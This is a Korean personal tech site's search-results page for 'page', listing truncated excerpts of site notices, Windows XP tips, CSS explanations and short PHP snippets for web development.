검색

자료검색


"페이지" 키워드로 총 190건 검색되었습니다.


[공지사항]  홈페이지 리뉴얼이 완료되었습니다~!! 2019년 드디어 미루고 미루던 리뉴얼이 완료되었습니다.아직 100% 완료는 아니지만 그래도 조금씩 다듬으면서 불필요 컨텐츠는 삭제하고 있습니다.개발자로 일하고 있는 만큼 개발중 발생된 이슈 정보를 확인하고, 공통 사안이라면 빠르게 해결할 수 있도록 개발이슈 게시판도 신규로 생성하였습니다.아직 여러가지 수정/보완 해야 할 사항이 많지만...꾸준히 업데이트해서 많은 정보를 취득할 수 있도록 하겠습니다.많이 방문 이용해주세요~
[공지사항]  MS, IE 보안취약점 패치…윈도XP도 지원 마이크로소프트(MS)가 윈도XP는 물론 윈도8 등 운영체제(OS)에도 영향을 줄 수 있는 인터넷익스플로러(IE) 취약점에 대한 보안패치를 공개했다. 지난달 8일 공식적으로 보안업데이트를 종료한 윈도XP에 대해서까지 지원을 하는 것은 이례적인 행보로 보인다.  1일(현지시간) 미국 지디넷 등 외신은 MS가 모든 IE 버전에 적용되는 보안패치(MS14-021)를 유포했다고 보도했다. 파이어아이가 처음으로 문제를 제기한 지 6일만의 일이다.  해당 업데이트는 윈도XP, 윈도XP 임베디드에서부터 윈도8.1까지 지원되...
[공지사항]  2013년 홈페이지 리뉴얼 안내 안녕하세요~ 바이러핵 입니다.2013년 계사년을 맞이하여 또 한번의 리뉴얼을 하였습니다.조금 더 깔끔하게 하고 제작하고 싶었는데...항상 마음으로만 생각했는데요~ 그래도 이번 리뉴얼이 조금 깔끔하지 않나(?) 생각해봅니다.아직 완성되지 않은 부분은 조금씩 조금씩 보완해 나가겠습니다~ ^^바이러핵에 있는 자료가 보안이나 홈페이지 제작을 하는 과정에서 조금이나마 도움이 되었으면 하는 바램입니다.2013년 계사년 항상 좋은 일만 가득하시길 바랍니다.좋은 하루 되세요~
[공지사항]  홈페이지 리뉴얼 진행중입니다~ 디자인능력이 없어도 최대한 노력은 하고 있습니다~이전에는 텍스트로 딱딱하게만 있어서 보기가 어지러웠는데 지금도 어지럽네요~그래도 최대한 보기좋고 눈에 쏙쏙 들어오게 업데이트 하고있습니다.바이러핵 많은 사랑 부탁드려요~
[공지사항]  바이러핵 홈페이지 모바일 버전 오픈!! 바이러핵 모바일 버전을 오픈 했습니다. 아직 완성된 상태는 아니며 기본적인 게시물은 이용 가능합니다. 이용 경로는 상단메뉴 오른쪽 [Mobile version]을 클릭해서 이동하시거나 http://m.virhac.com 으로 접속 가능합니다.또한, 모바일로 바이러핵 PC버전 메인을 접속하시면 모바일버전으로 이동 할 것인지 확인창이 뜨므로 승인을 하시면 바로 이동됩니다.모바일에서도 필요하신 정보를 빠르게 확인하세요~
[공지사항]  바이러핵 홈페이지 리뉴얼!! 깔끔하게 바꿔보고자 리뉴얼을 했습니다.페이지 형식으로 보이게 되며, 기존에 구글 광고도 삭제 하였습니다.메뉴하단 오른쪽에 화살표 버튼으로 추천링크 및 로그인창이 나타납니다.해당 기능은 쿠키를 이용해 열리면 열려있고, 닫히면 닫히는 형식으로 구현되었습니다.검색 부분은 현재 디렉토리별 검색을 구현중에 있습니다.보안정보 / 바이러스 / 해킹방어의 설명글은 조만간 보기쉽고 깔끔하게 정리하겠습니다.많이 이용해주세요~
[공지사항]  조금씩 조금씩 리뉴얼 중입니다. 조금만 더 기다리시면 멎지고 깔끔한 홈페이지가 완성됩니다.보안 자료와 웹프로그래밍 자료를 많이 공유했으면 좋겠습니다.많이 기대해주시고 이용해주세요 ^^
[공지사항]  바이러핵 홈페이지를 제 오픈했습니다. 안녕하세요 바이러핵 운영자입니다. 그동안 군입대 때문에 바이러핵 홈페이지 문이 닫겨 있었습니다. 이제 다시 오픈 되었으며 많은 정보 공유할수 있었으면 좋겠습니다. 궁금한 사항은 오른쪽 상단 문의해주시면 바로 답변드리겠습니다.
[공지사항]  바이러핵 홈페이지에 오신것을 환영합니다. 바이러핵 홈페이지는 보안에 대해 함게 정보를 나누고... 해킹, 바이러스를 바로 알고 대처하며 예방하기위해 만들어진 사이트입니다. 회원가입도 하셔서 좋은정보도 나누고 토론으로 앞으로의 미래보안에 조금이나마 보탬이 되었으면 좋겠네요. 좋은 자료는 리플도 달아주시고 궁금한점은 질문게시판에 올려주세요.
[이야기]  아이폰4 무한진동 현상 정말 어의 없는 경험휴대폰 화면이 먹통이 되어버리고 무한진동이 시작되고배터리가 없어 꺼진 후 풀 충전을 해 놓았는데 갑자기 무한진동이 시작...홈페이지를 찾던중 강제종료인 "홈버튼 + 슬립버튼"을 꾹 누르고 있으면 된다고해서 해봤더니 됨.
[이야기]  CSS #footer가 정상적이지 않게 랜더링 될때! 이부분 또한 오타에서 비롯된것이다.<DL>    <DT></DT>    <DD></DD></DL>Musical Instrument Digital Interface 요소를  #footer 및 #content 사용했다.그런데 풋더 페이지의 스타일이 먹히지 않고 다 깨져 버리는것 이었다.선택자에 문제가 있어 정상표시가 안되겠거니 생각하며 원인을 찾아보았다.하지만 그 문제또한 아니었고 그다음으로 할수...
[윈도우팁]  크롬 브라우저 페이지 자동 새로고침 확장프로그램 Auto Refresh https://chrome.google.com/webstore/detail/auto-refresh/ifooldnmmcmlbdennkpdnlnbgbmfalko?utm_source=chrome-ntp-icon
[윈도우팁]  XP 부팅시 "심각한 오류로부터 복구되었습니다"라는 메시지 1. 에러윈XP에서 다시 시작할 때마다 "시스템이 심각한 오류로부터 복구되었습니다" 메시지가 나타난다. 2. 원인이 문제는 Minidump(또는 메모리 덤프) 파일이 작성된 후 페이징 파일에서 메모리 덤프 파일이 작성되어야 함을 나타내는 플래그를 계속 설정하기 때문에 발생합니다. ex) 페이징 파일은 Windows에서 Ram처럼 사용하는 하드디스크의 영역입니다. 3. 해결방법 페이지 파일을 다시 만들면 이 문제를 해결할 수 있습니다. 페이지 파일을 다시 만들려면 다음과 같이 하십시오. (1) 내 컴퓨터를 마우스 오른쪽 단추로 ...
[윈도우팁]  웹페이지 로딩을 빠르게 윈도탐색기 -> 도구 -> 폴더옵션을 선택하신 후 [보기]탭에 보시면 [네트워크 폴더 및 프린터 자동검색]이라는 항목이 있는데 이 항목의 선택을 지운다. 프린터 자동검색을 해제하시면 웹페이지가 단번에 뜹니다.
[윈도우팁]  내 홈페이지를 링크한 사이트 알아내기 알타비스타(http://www.altavista.com)로 가서 검색어 입력창에 다음과 같이 입력하면 됩니다. link:자신의 홈페이지 주소 예를 들면, 인포인터아이를 링크한 사이트를 알고 싶다면, link:www.virhac.com 이라고 검색하면 됩니다.
[윈도우팁]  전세계 모든 파일 확장자 모음 $$$ 임시 파일 ACE ACE Archiver 압축 파일 ACF 마이크로소프트 에이전트, HTTP 문자 파일 ACL 코렐 드로우 6, 키보드 가속기 파일 ACM 윈도우 시스템 디렉토리 파일 ACM Fallout 1,2, Baulder's Gate, 인터플레이 압축 사운드 파일 ACM Dynamic Link Library (DLL) ACS 마이크로소프트 에이전트, 문자 구조의 저장 파일 AHQ AudioHQ 플러그인 모튤 AI 어도비 일러스트레이터 파일 AI 코렐 트레이스 드로잉 AIF, AIFF Audio Interchang...
[윈도우팁]  웹디자이너가 알아야하고 배워야하는 프로그램 포토샵?1. 포토샵에 대하여존 놀과 토마스 놀 형제에 의해서 만들어지기 시작한 포토샵 프로그램은 90대 초 그래픽 전문회사인 Adobe사에 의해서 탄생하게 되었고 전 세계의 그래픽 애호가들에게 가장 사랑 받는 디지털 그래픽 편집 도구이다.가. 포토샵 이미지 프로그램의 특징• 다양한 이미지 포맷 지원• 강력하고 고품질의 이미지 결과물 산출• 직관적인 인터페이스로 사용자의 편리성 추구• 다양한 편집 도구 제공• 다양하고 독특한 필터의 제공으로 이미지 효과의 극대화• ...
[윈도우팁]  XP 서비스 항목 최적화 자동: 부팅시 운영체제에의해 자동으로 드라이버가 로드된 후 실행.수동: 운영체제에 설치되어 있지만 프로그램이 해당 기능을 요청할 때에만 기동.사용 안함: 운영체제에 설치되어 있지만 현재 사용되지않는 서비스.   1 Alerter유닉스 시스템에서 관리자가 경고 메시지를 보낼 때 쓰는 것처럼 이용자와 컴퓨터에 관리용 경고 메시지를 보낸다. PC에서는 내 PC와 연결된 다른 사람이나 컴퓨터에 경고 메시지를 보낼 일이 없으니까 수동으로 된 초기값을 사용안함으로 바꾸자.초기값: 수동 → 권장값: 사용안함 &n...
[윈도우팁]  메모리 덤프란 무엇인가? 윈2000 윈XP사용자라면 누구나 한번쯤은 경험해 봤을만한 메모리오류의 일종이다 증상으로는 컴퓨터가 자동으로 재부팅 된다는 것이다 이것은 데이터처리를 위해 메모 리에 올라가있는 데이터가 서로 충돌을 일으키거나 잘못된 데이터로 채워서 강제적으로 메모리를 비우는 작업을 시작하는 시점이기도하다 원인 90%이상은 실제로 메인보드나 CPU, 램의 에러에서 기인하고 소프트웨어에서 기인하는 경우는 그 소프트웨어가 시스템의 과도하고 정밀한 성능을 요구하는 경우나 링 0 영역을 건들다 오류가 난 경우이다 이처럼 가끔씩 일어나는 메모리덤프는 큰...
[윈도우팁]  Vista가 설치된 시스템의 멀티 부트로 XP 설치하기 XP 설치 공간 확보 작업의 첫 단계로 XP가 설치될 공간 즉 파티션(아니면 물리적인 별도 하드디스크)을 확보합니다. 이 작업에서는 학습을 겸하여 Vista의 내장 기능을 이용, 기존 파티션을 축소하여 이 할당되지 않은 공간에 파티션을 만드는 방법을 채용합니다. 바탕 화면의 '내 컴퓨터'를 우클릭하여 '관리'를 선택합니다. 좌측 패널의 '저장소'의 '디스크 관리'를 클릭합니다. 우측 하단부에 있는 밝은 파란색의 Vista가 설치되어 있는 첫 하드 드라이브를 마우스 우클릭하여 '볼륨 축소'를 선택합니다. 사용자는 XP와 Vist...
[윈도우팁]  내 홈페이지가 어떤 서버에서 작동하고있는지 알아보자  홈페이지가 어떤 서버에서 작동하고있는지 알아보자   http://uptime.netcraft.com/up/graph/?host=www.mythkorea.com
[윈도우팁]  인터넷 익스플로러(IE6, IE7, IE8) 동시에 같이 사용하기 인터넷 익스플로러(IE6, IE7, IE8) 동시에 같이 사용하기 [Software] 웹 표준과 크로스 브라우징 잘 만든 웹페이지라면 기본적으로 크로스 브라우징을 잘 지원해야 합니다. 물론 블로그도 마찬가지입니다. 이를 확인하는 데에는 특별한 방법이 있는 게 아니라, 코딩을 끝낸 후 여러 제품의 브라우저로 직접 테스트를 해보면 됩니다. W3C Validator로 표준 유효성 검사를 할 수도 있겠지만, 자신의 웹페이지가 유효성 검사를 통과하더라도 크로스 브라우징이 모두 해결된 것은 아닙니다. 현실적으로 모든 브라우저가 웹 표준...
[윈도우팁]  불법 소프트웨어 FAQ http://www.softwarecatalog.co.kr 의 내용입니다. 절대적인 것이 아니라 위사이트의 시각입니다. 1. 정품 S/W인지 불법 S/W인지를 어떻게 단속(확인)하는가? ☞ 사업장 또는 사무실에서 사용하고 있는 PC에 등록된 프로그램을 점검용 디스켓으로 확인한 후 검색된 프로그램에 대해서 정품확인을 요구한다. 정품확인 방법으로는 정품S/W 또는 사이트 라이센스 계약서를 보여주면 됩다. 또한 세금계산서, 납품확인서, 구매계약서 등으로 대체할 수 있다. 사이트라이센스란 하나의 정품S/W를 가지고 여러 대의 P...
[윈도우팁]  XP 최적화 팁 자료 모음 1. DOS모드에서 XP설치하는 방법 2. 메뉴팝업속도를 빠르게 하기 3. CD-ROM 자동인식 비활성화 4. 인터넷익스플로러 로딩속도 향상법 5. 오류 보고(MS전송)창 나타나지 않게 하기 6. 입력도구모음 없애기 7. 에서 문서메뉴 삭제하기 8. 폴더창 속도향상하기 9. 임시인터넷 파일크기 최대한 줄이기 10. 다운로드 갯수 변경하는 방법 11. 에서 도움말메뉴 삭제하기 12. 윈도우 창이 뜨는 속도 높이기 13. 내컴퓨터등 기본아이콘 보이게하기 14. 폴더를 열었을때 화일아이콘의 화면출력(Refra...
[윈도우팁]  웹페이지 플래시 테두리 해결방법 마이크로소프트사의 권고안에 따른 수정방법입니다. 플래시 테두리 패치방법 웹페이지에 삽입되어있는 플래시파일을 document.write('...'); 를 이용해서 별도의 파일로 저장합니다. 수정전 수정후 document.write(''); document.write(''); document.write(''); document.write(''); 파일의 확장자는 반드시 js로 저장합니다. 예) a.js 파일을 별도로 저장한뒤 플래시를 노출시킬 해당 웹페이...
[윈도우팁]  윈도우XP 의 최고의 팁 30가지!! [1] DOS모드에서 윈도우XP설치하는 방법 XP cd의 i386아래에 있는 winnt.exe가 dos모드에서 XP를 설치하는 프로그램이다. [2] 메뉴팝업속도를 빠르게 하기 메뉴창이 열리는 속도가 느린것을 감지할수 있는데 빠르게 하는 방법이다. 시작 -< 실행창에서 regedit를 입력하여 레지스트리 편집창을 뛰운후 HKEY_CURRENT_USERControlPaneldesktop에서 MenuShowDelay항목의 값이 기본 400으로 셋팅되어 있는데 이 값을 0 에서 400 사이에서 바꾼다.(0의 값이 최...
[윈도우팁]  웹페이지및 프로그램 로딩속도 향상 이 팁은 윈도우 95/98/ME 와 윈도우 NT4/2000 컴퓨터상에 설치된 MS 인터넷 익스프로러 4/5/6 버전에 해당됩니다. 레지스트리 조작을 이용한 팁이며, 드라마틱하게 인터넷 익스플로러 혹은 탐색기등의 익스플로러와 관여된 프로그램 로딩 속도를 향상시켜 줍니다. 게다가, 원격 컴퓨터와 연결되어 있는 네트워킹 시스템에서도 같은 효과를 거둘 수 있습니다. 이 팁의 기본적인 원리는 마이크로 소프트 윈도우 운영체제들이 공유(원격) 폴더나 파일을 네트웍상에서 스캔할때 최대 30초 가량의 딜레이가 발생하는 버그를 레지스트리 키...
[윈도우팁]  윈도우즈 XP에서 도스 게임 하기 윈도우즈 XP는 32비트 운영체제여서 16비트 도스 게임을 누르면 실행이 되지 않고 창이 꺼져 버린다. 도스 게임을 하고 싶다면 VDM(virtual DOS machine)이란 프로그램을 내려 받아 깐다. exe 실행파일을 골라 오른쪽 마우스 단추로 메뉴를 부른 뒤 run with VDMS를 누르면 된다. VDM은 PC사랑 홈페이지 ‘프로그램 타입 캡슐’에서 내려 받을 수 있다. 윈도우즈 XP에서 추억이 담긴 게임을 즐겨보자.
[윈도우팁]  간단한 섹터 조작법을 소개 섹터 섹터(sector)란? -파일을 나누는 단위가 되는 것으로,512개의 아스키 코드들이 조합된 단위이다. 섹터를 조작할수 있는 프로그램 -Debug,Norton Disk Edit,PC-Tools등이 있는데 이 중에서 PC-Tools가 가장 많이 쓰여지고 있다. PC-TOOLS 는 대부분 가지고 있을것이다. 섹터 조작전 이론 습득 컴퓨터의 내부를 보면 아스키코드와 헥스 코드로 나누어진다. 학교 다닐때 진수변환이란것에 대해 수학시간에 배웠을 것이다. 바로 그 진수를 제대로 알아야 에디트를 할수있다. ...
[윈도우팁]  휠 버튼의 속도 조정하기 주소 : HKEY_CURRENT_USERControl PanelDesktop 마우스 커서가 움직이는 속도는 제어판의 마우스 아이콘에서 정하지만 휠의 움직임은 어디서 조정할까? 레지스트리를 손보면 휠을 한 번 굴릴 때 원하는 만큼 스크롤시킬 수 있다. HKEY_CURRENT_USERControl PanelDesktop의 오른쪽 창에 커서를 대고 마우스 오른쪽 버튼을 누른 뒤 등록 → 이진값을 고른다. 새 키가 생기면 이름을 wheelscrolllines라고 붙이고, 다시 마우스 왼쪽 버튼으로 두 번 누른다. '바이너리 값 편...
[윈도우팁]  리소스를 확보하는 방법 들어가기전에 먼저 윈도우에서의 리소스의 정의는 무엇일까? 그것은 메모리,하드디스크의 가상 공간(스왑파일),CPU의 여유 등을 통틀어서 윈도우가 사용할수 있는 여유 자원을 말하는 것입니다.. 리소스는 어떤 프로그램을 수행하면 줄어들고, 트레이에 많은 프로그램을 등록하게 되면 엄청 떨어지게 됩니다..그리고 리소스를 제대로 관리하지 못하면 윈도우가 불안정해질 뿐 아니라 다운되는 현상도 나타날수가 있습니다. 그래서 요번시간에는 리소의 개념과 리소스를 확보하는 방법에 대해서 자세하게 살펴보도록 하겠습니다.. 리소스의 역할 ...
[윈도우팁]  리소스를 확보하는 방법 들어가기전에 먼저 윈도우에서의 리소스의 정의는 무엇일까? 그것은 메모리,하드디스크의 가상 공간(스왑파일),CPU의 여유 등을 통틀어서 윈도우가 사용할수 있는 여유 자원을 말하는 것입니다.. 리소스는 어떤 프로그램을 수행하면 줄어들고, 트레이에 많은 프로그램을 등록하게 되면 엄청 떨어지게 됩니다..그리고 리소스를 제대로 관리하지 못하면 윈도우가 불안정해질 뿐 아니라 다운되는 현상도 나타날수가 있습니다. 그래서 요번시간에는 리소의 개념과 리소스를 확보하는 방법에 대해서 자세하게 살펴보도록 하겠습니다.. 리소스의 역할 ...
[윈도우팁]  Driver 와 나와 싱크로율을 99.99%로 맞추어 봅시다~ (스크롤 주의) 1 . 드라이버 이해하기 드라이버는 컴퓨터에 사용된 특정 장치 및 부품을 동작시키기 위해 필수적으로 사용되는 일종의 프로그램입니다. 그래픽카드, 사운드카드, 랜카드, 프린터 등의 하드웨어를 윈도우98, ME, 2000, XP 등의 운영체제에서 인식하고, 동작시키기 위해서는 반드시 해당부품에 맞는 드라이버가 설치되어야 합니다. 드라이버 파일의 확장자는 주로 DRV, INF, DLL, VxD, SYS 등입니다. 일반적인 경우 CD롬, 모니터, 키보드, 마우스, 하드디스크, FDD 등의 부품은 윈도우 설치시에 자동으로 장치...
[PC조립]  PC 교체시 꼭 기억해야할 10가지 새 PC는 최신 기술이 적용돼 성능과 안정성이 더 좋고 몇 가지 흥미로운 신호음을 내기도 한다. 그러나 기존의 오래된 PC에서 필요한 것을 챙기지 않으면 후회하게 될 수 있다. IT 전문가 제프 드레이는 한 번 고생한 후에 앞으로 다시 반복하지 않으려고 체크리스트를 만들었다. 여기서 그 내용을 소개한다. 최근 나는 새 PC를 구입해야만 했다. 내가 윈도우 3.11을 사용하던 때의 이야기를 들으면 바로 이해될 것이다. 나는 윈도우 95를 처음 설치할 때 플로피 드라이브를 사용했었고 설치 후 훨씬 좋았다. 21세기로 넘어오면서 문...
[CSS]  CSS 선택자(Selector) - 일반선택자 일반 선택자 : 일반 선택자는 네 가지 종류가 있다. - * (공용 선택자) - E (타입 선택자) - .E (클래스 선택자) - #E(아이디 선택자)* (공용 선택자)모든 엘리먼트를 선택한다.* {margin: 0;padding: 0;}이와 같은&nbs...
[CSS]  블록태그의 정의와 종류 블록태그란? 레이아웃을 잡을 때 많이 쓰이고 (영역을 잡을 수 있다는 소리) 해당 태그 안에 인라인 태그를 넣을 수 있다. 구분하는 방법은 쭉 써봤을 때 자동으로 줄바꿈이 된다. 기본적으로 블록태그들은 자체의 margin과 padding값을 가지고 있으므로 작업시 초기화하고 시작한다.   블록태그의 종류 div 모든 블록태그의 아버지뻘 정도되는 태그 태그 내에 인라인, 블록 모두 담을 수 있다. 흔히 페이지 레이아웃을 잡을 때 가장 많이 사용한다. division이 full name이며 문서 내에서...
[CSS]  CSS용어 정리 :active (활성) :after (다음) :before (이전) :first (처음) :first-child (첫 자식) :first-letter (첫 글자) :first-line (첫 줄) :focus (초점) :hover (마우스 올림) :lang (언어) :left (왼쪽) :link (연결) :right (오른쪽) :visited (방문 했던 연결) @charset (글자세트) @font-face (글꼴 표현) @import (도입) @media (메디아) @page (페이지) A absolute length (절대...
[CSS]  웹페이지 스크롤바 강제로 없애기 body {overflow-y: hidden; overflow-x: hidden;} X축 스크롤 바를 숨길경우 화면 축소시에도 스크롤바가 보이지 않으므로 팝업창이나 필요에 의해 제한적으로 사용햐야 합니다.
[CSS]  !important Declaration !important Declaration(!중요도 선언)은 모든 style 규칙에 우선하여 inline style, id selector, class selector 들로 같은 style Property들을 선언했드라도 그 값을 모두 무시하여 !important 로 선언한 Property 값을 적용시킵니다. 이러한 !important 선언을 하는 이유는 단언할 수는 없지만 저의 경우 주로 Printing 할 때 많이 사용합니다.웹 페이지를 모니터로 볼 때는 글씨 색이 여러 가지면 보기 좋을지 모르지만 Printer로 출력하게되...
[CSS]  CSS 핵 브라우저마다 HTML렌더링하는 방식이 조금씩 차이가 나고, 때로는 버그가 존재하는 관계로(망할 IE) 모든 CSS 코드가 모든 웹브라우저에서 똑같이 보이지 않습니다.따라서 이러한 특성을 이용하여 특정 브라우저를 제외하거나, 특정 브라우저에서만 CSS를 적용하는 기법을 CSS 핵(Hack) 이라고 부르죠...그래서 문법적으로 맞지 않거나, 특정 브라우저에만 적용되는 비표준인 경우가 많기 때문에 이러한 CSS핵은 어쩔 수 없는 경우가 아니면 사용하지 않아야 합니다. 또한, 단순히 눈앞의 문제만을 해결하기 위해 핵을 사용하면 나중에...
[CSS]  글자에 그림자 효과를 줄 때 사용 - text-shadow text-shadow 글자에 그림자 효과를 줄 때 사용합니다. 기본 정보 초기값 none 상속 no 적용 범위 모든 요소 속성값 값 설명 IE NN none 글자에 그림자 효과를 적용하지 않습니다. - - color 그림자 색깔을 색깔 이름(red, yellow 등)이나 RGB 코드값(#ff0000 또는 rgb(255,0,0))으로 지정합니다. - - length 그림자 효과의 수직 시작점(vertical offset), 수평 시작점(horizontal offset), 반경(blur radius)을...
[CSS]  CSS(Cascading Style Sheet) 개요 ☆ CSS(Cascading Style Sheet)란?   Cascadingcascade는 "폭포가 되어 떨어지다"라는 뜻입니다. 폭포는 물이 위에서 아래로 힘차게 흘러 내리죠? 그럼 왜 style sheet에, cascading이란 말이 붙었을까요? CSS에는 '우선순위'라는 것이 있습니다. 이 CSS의 우선순위가 정해지는 것이, 꼭 cascade와 비슷한 느낌을 주기 때문에, style sheet에 cascading이란 말을 붙인 것입니다. Stylestyle은.. 예를 들어, 어떤 문서가 있는데 글자 크기가 1...
[CSS]  div 테두리, 배경색 지정하기. div에 테두리와 배경식을 지정하면 더욱 멋진 웹 페이지를 만들 수 있다. <head> <style> #main{margin: 0 auto; width:600px; height:150px; background-color:#888888; border-left:1px solid #333333; border-right:1px solid #333333; float:left;} </style> </head> <div id="main">내용</div> style. ba...
[CSS]  css 인코딩시 주의할점! 페이지 제작시 html 페이지와 css 파일을 따로 만들어 관리를 할할 경우가 있습니다. 작업을 하다 보면, 특정 브라우저에서 css 파일의 속성들이 적용이적용이 안 될 경우가 있습니다. 1. 가장 기본적으로, html 페이지에서 csscss 파일 경로 설정을 의심 할 수 있습니다. <link rel="stylesheet" style="text/css" href="/css/style.css"> 2. 경로상의경로상의 문제가 없다면, html 파일과 css 파일의 인코딩 문제를 생각 할 수수 있습니다. 보통 html...
[CSS]  DIV+CSS 레이아웃과 웹 표준 코딩의 장점 1. 작고 가벼운 구조와 용량 Div 레이아웃의 경우 순수한 HTML 파일의 코드 라인 수와 파일의 용량은 Table 레이아웃에 비하여 대략 50%정도 절감됩니다. 이렇게 표준으로 코딩된 HTML 파일은 한개 사이트에서 수십 수천 페이지에 이르기 때문에 사용자의 트래픽으로 인한 서버의 부하를 경감할 수 있습니다. 유지보수 비용과 직결되는 문제죠. Div 를 이용한 표준 코딩이 가벼워 질 수 밖에 없는 이유는 다음과 같습니다. 내용 하나를 원하는 위치에 표기하기 위하여 Table 로 코딩하려면 <table><tr...
[CSS]  input text 의 ime-mode (한/영 전환) 입력 항목 별 ime-mode 지정은 때때로 사용성 향상을 가져올 수 있다. 예를 들어 로그인 페이지의 아이디 입력부분을 style="ime-mode:inactive;" 로 해놓으면 사용자가 한글모드로 되어 있더라도 아이디 입력 input 에 커서가 옮겨간 순간 영문모드로 바뀌게 된다. <input type="text" id="user_id" style="ime-mode:inactive;" /> 반대의 경우에는 ime-mode:active; 가 되겠다. ime-mode의 값은 총 4가지가 있다. ime-mode:au...
[CSS]  css + xhtml 로 홈페이지 만들기 - xhtml 기본 세팅 xhtml문서를 작성하기 전에 기본적으로 꼭 들어가야 할 요소들을 살펴보도록 합시다. xhtml은 대소문자를 구분하며, 열어준 태그는 반드시 닫아야 합니다.되도록 소문자로 작성하는 것을 장려합니다. index.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" l...
[PHP]  페이지 내 인클루드파일 전체 출력 if ($_SERVER['REMOTE_ADDR']=="내피시IP") { $included_files = get_included_files(); echo "<b>현재페이지 인클루드된 파일리스트:</b><br>"; foreach ($included_files as $filename) {     echo "$filename<br>"; }}
[PHP]  <IMG>태그 내부 height속성과 값 지우기 정규식 $content 변수의 값중 <img src="" width="100" height="100" />중 height="100"를 제거하는 정규식입니다.모바일 홈페이지의 경우 너비가 100%로 지정 해야 할 때 스타일 제어 img{width:100%;}일 경우 높이가 있으면 찌그러지는 현상이 발생될 때 사용됩니다. <?=preg_replace('/height=('|")?[0-9]+('|")?/i', null, $content);?>
[PHP]  웹페이지 압축으로 로딩속도를 줄이기 <? ob_start('ob_gzhandler'); ?> 웹페이지 상단에 삽입
[PHP]  페이지 로딩 시간 출력 ## 페이지 최상단 마이크로초 시작$starttime = microtime();$startarray = explode(" ", $starttime);$starttime = $startarray[1] + $startarray[0];  ## 페이지 최하단 마이크로초 끝 출력$endtime = microtime();$endarray = explode(" ", $endtime);$endtime = $endarray[1] + $endarray[0];$totaltime = $endtime - $starttime; $totalti...
[PHP]  휴대폰 / 컴퓨터 접속을 체크하여 출력 스마트폰인지 체크하여 컴퓨터와 휴대폰을 구분 지어 출력합니다.요즘 스마트폰 사용이 급중하면서 웹페이지도 모바일버전 보급과 사용이 활발해 졌습니다.이에따라 개발자들이 조금더 구현 및 구분을 쉽게하기 위해 사용자함수 입니다.function MobileCheck(){ global $HTTP_USER_AGENT;    $MobileArray  = array("iphone","lgtelecom","skt","mobile","samsung","nokia","blackberry","android...
[PHP]  정규표현식 - Basic Syntax of Regular Expressions (정규표현식의 기본 문법) 먼저 특수문자 '^'와 '$'를 살펴봅시다. 이 문자의 역할은 문자열의 시작과 끝을 의미합니다. 다음과 같은 해당 예를 들 수 있습니다. "^The": "The"로 시작하는 문자열 "of despair$": "of despair"로 끝나는 문자열 "^abc$": "abc"로 시작하고 "abc"로 끝나는 문자열 ("abc" 라는 문자열도 해당됨) "notice": "notice"가 들어 있는 문자열 마지막 예제에서 보듯이 이 두 ...
[PHP]  .htaccess - 404 페이지 연결 코드 ErrorDocument 404 http://www.virhac.com/404.html
[PHP]  cURL을 이용한 웹페이지 가져오기 <?php function get_content($url) {     $agent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)';     $curlsession = curl_init ();     curl_setopt ($curlsession...
[PHP]  만료된 페이지 만들기 header("Cache-Control: no-cache"); // HTTP/1.1header("Expires: 0"); // rfc2616 - Section 14.21header("Pragma: no-cache"); // HTTP/1.0해당 헤더페이이지 삽입
[PHP]  미리보기 이미지 썸네일 만들기 함수 PHP 소스 코드 PHP에서 GD 라이브러리를 활용해서 썸네일을 만들어주는 함수의 소스 코드입니다. 홈페이지를 만들다 보면 사진첩과 같이 이미지를 다수 노출해야 되는 페이지를 구성할 때 필요한 것이 썸네일이며 이를 이용하면 페이지의 로딩 속도를 향상시켜 주며 원본 이미지를 작게 보여줄 때 좀더 선명하게 표현해줄 수 있습니다. 자신의 필요에 맞게 함수를 구성할 수 있는 분이 아니라면 복사해서 활용해보시면 되겠습니다. 함수 파라메터 끝에는 썸네일을 저장할 파일 경로를 입력하시면 되고 경로를 입력하지 않으면 바로 출력됩니다.<?make_thum...
[PHP]  현재 페이지의 도메인명이나 url등의 정보 알아오기 <?   $hostname=$_SERVER["HTTP_HOST"]; //도메인명(호스트)명을 구합니다.   $uri= $REQUEST_URI; //uri를 구합니다.   $query_string=getenv("QUERY_STRING"); // Get값으로 넘어온 값들을 구합니다.   $phpself=$_SERVER["PHP_SELF"]; //현재 실행되고 있는 페이지의 url을 구합니다.   &nb...
[PHP]  php.ini 일반적인 구성 PHP 의 일부 일반 기능 및 내장된 기능들에 영향을 미치는 몇 가지 구성 매게변수들에 대하여 알아보기로 하겠습니다. ■ auto_append_file String 메인 파일 다음에 자동으로 분석되는 파일 이름을 String 에 지정한다. 이렇게 지정된 파일은 include() 함수로 호출된 것 처럼 포함된다. 특수값인 none 은 자동 추가 기능을 중지 시킨다. 만약 스크립트가 exit() 로 종료된다면 auto-append 작업이 수행되지 않는다. 이 명령어는 특정 웹 사이트에 정형화된 모습과 느낌을 주고자 PHP가 페이지...
[PHP]  자주 쓰이는 내장함수 basename -- 경로명에서 파일이름만 반환합니다 chgrp -- 파일의 그룹을 변환합니다 chmod -- 파일의 모드 변경 chown -- 파일의 소유자 변경 clearstatcache -- 파일의 통계(stat) 캐시를 삭제합니다. copy -- 파일을 복사합니다 delete -- 실제로는 없는 명령 dirname -- 경로의 구성요소중에서 디렉토리 이름만 반환합니다. disk_free_space -- Returns available space in directory disk_total_space -- Returns t...
[PHP]  extract() 언제, 왜 사용하는것일까? php.ini 파일에 register_globals 라는 설정과 관련있습니다. register_globals 라는 설정이 on 으로 설정되어 있을 때는 현재 페이지로 전달되는 변수 및 서버 변수들을 이름 그대로 사용하실 수 있습니다. 하지만 반대로 off 로 설정되어 있을 때는 불가능 합니다. PHP 4.2.0 버전 부터 이 register_globals 라는 설정이 off 를 기본 값으로 배포가 되고 있습니다. 그 이유는 보안상의 문제 때문입니다.<?if(check_login()) {   $login_...
